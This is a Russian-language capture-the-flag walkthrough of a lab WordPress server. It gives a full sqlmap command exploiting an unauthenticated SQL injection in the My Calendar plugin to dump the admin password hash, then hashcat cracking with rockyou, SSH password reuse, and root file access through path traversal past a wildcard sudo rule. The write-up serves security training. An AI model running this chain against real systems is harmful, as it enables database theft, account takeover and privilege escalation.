



Название:	Отцы-основатели
Категория:	Квесты
Уровень:	Сложный
Очки:	1000
Описание:	Я твердо верю в удачу. И я заметил, что чем больше я работаю, тем больше она мне улыбается.
Теги:	WP, SQLi, LPE
Автор:	N1GGA

Прохождение:

Открываем веб-морду



Welcome to the site of the founding fathers. We are the oldest website developers in the world. In 120 years, no one has been able to hack into any of our resources. We have been promised big prizes for hacking at least one of our sites. But apparently, the hacker who can do it hasn't been born yet.

Это **WordPress**. Сканируем сайт на наличие уязвимых плагинов

```
[!] Title: My Calendar < 3.4.22 - Unauthenticated SQL Injection
Fixed in: 3.4.22
References:
  Пар- https://wpscan.com/vulnerability/2b5860f1-f029-496a-a479-082b78c5bda4 " REST API, без необходимости указывать ваш настоя
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6360
  Пар- https://www.wordfence.com/threat-intel/vulnerabilities/id/496b1c3a-7fbb-4088-9936-6b023718946d
```

Находим что у на сайте установлен уязвимый к проведению **SQL-инъекции** неавторизованным пользователем - плагин **My Calendar 3.4.21**

Логин нам известен - **admin**. Теперь вытащим хеш пароля админа, используя уязвимость в найденном плагине

```
sqlmap -u " http://sickly.ru:8000/?rest_route=/my-calendar/v1/events&from=1* " --dbms=MySQL
--batch -D wordpress -T wp_users -C user_pass --dump
```

```

[16:27:03] [INFO] starting 0 processes
[16:27:14] [WARNING] no clear password(s) found
Database: wordpress
Table: wp_users
[1 entry]
+-----+
| user_pass |
+-----+
| $P$BR0akg//zb4d8AzQaCev779Re0EAKY/ |
+-----+

```

Вытащили хеш. Теперь попробуем крякнуть его утилитой `hashcat` используя словарь `rockyou`

```
hashcat -m 400 -a 0 hash.txt --wordlist /usr/share/wordlists/rockyou.txt
```

```

(root@kali)-[/tmp/CVE-2023-3452-PoC]
# hashcat -m 400 -a 0 hash.txt --wordlist /usr/share/wordlists/rockyou.txt --show
$P$BR0akg//zb4d8AzQaCev779Re0EAKY/:sinceridad

```

Видим что хеш был крякнут. В итоге, у нас есть логин и пароль админа

```
admin : sinceridad
```

Входим в админку на сайте


WordPress Founding Fathers My Calendar

Консоль

Профиль

Свернуть меню

Верхняя панель ☒ Показывать верхнюю панель при просмотре сайта

Язык  Основной язык сайта ▾

Имя

Имя пользователя admin Имя пользователя изменить нельзя.

Имя

Фамилия

Ник (обязательно) mansory

Отображать как mansory ▾

Контакты

Email (обязательно) mansory@codeby.net
При изменении вам будет выслано письмо на ваш новый адрес для подтверждения. Новый адрес не будет активирован до его подтверждения.

Сайт http://sickly.ru:8000/

И видим что у нас нет админских привилегий. И самое интересное - у нас ник почему-то не admin, а mansory. Пробуем авторизовать под SSH используя этот ник и полученный нами ранее пароль

```
(root@kali)-[/var/www/html]
# ssh mansory@sickly.ru -p 2222
The authenticity of host '[sickly.ru]:2222 ([87.249.53.167]:2222)' can't be established.
ED25519 key fingerprint is SHA256:XRY67egmKFQQYHRkMyS+mD6+KL0wXGwCdkYbwTHCXZE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[sickly.ru]:2222' (ED25519) to the list of known hosts.
mansory@sickly.ru's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.4.0-167-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ id
uid=1000(mansory) gid=1000(mansory) groups=1000(mansory)
$
```

Есть, мы в системе. Забираем первую часть флага

```
$ cat first_part
CODEBY{Y0U_SH0CK3D_
$
```

Теперь нужно повыситься до рута, чтобы забрать вторую часть флага.

Смотрим команды которые можем выполнить с `SUDO` -правами

```
$ sudo -l
Matching Defaults entries for mansory on 828971d51851:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mansory may run the following commands on 828971d51851:
    (ALL) NOPASSWD: /usr/bin/cat /home/mansory/*
```

Видим что есть одна команда, которая позволяет читать любые файлы из директории `/home/mansory`

Но, звёздочка не запрещает нам перемещаться на директории ниже или выше. Используя такую лазейку забираем последнюю часть флага из директории рута

```
$ sudo cat /home/mansory/../../root/last_part
7H3_F0UND1NG_F47H3RS}
$
```

Бинго!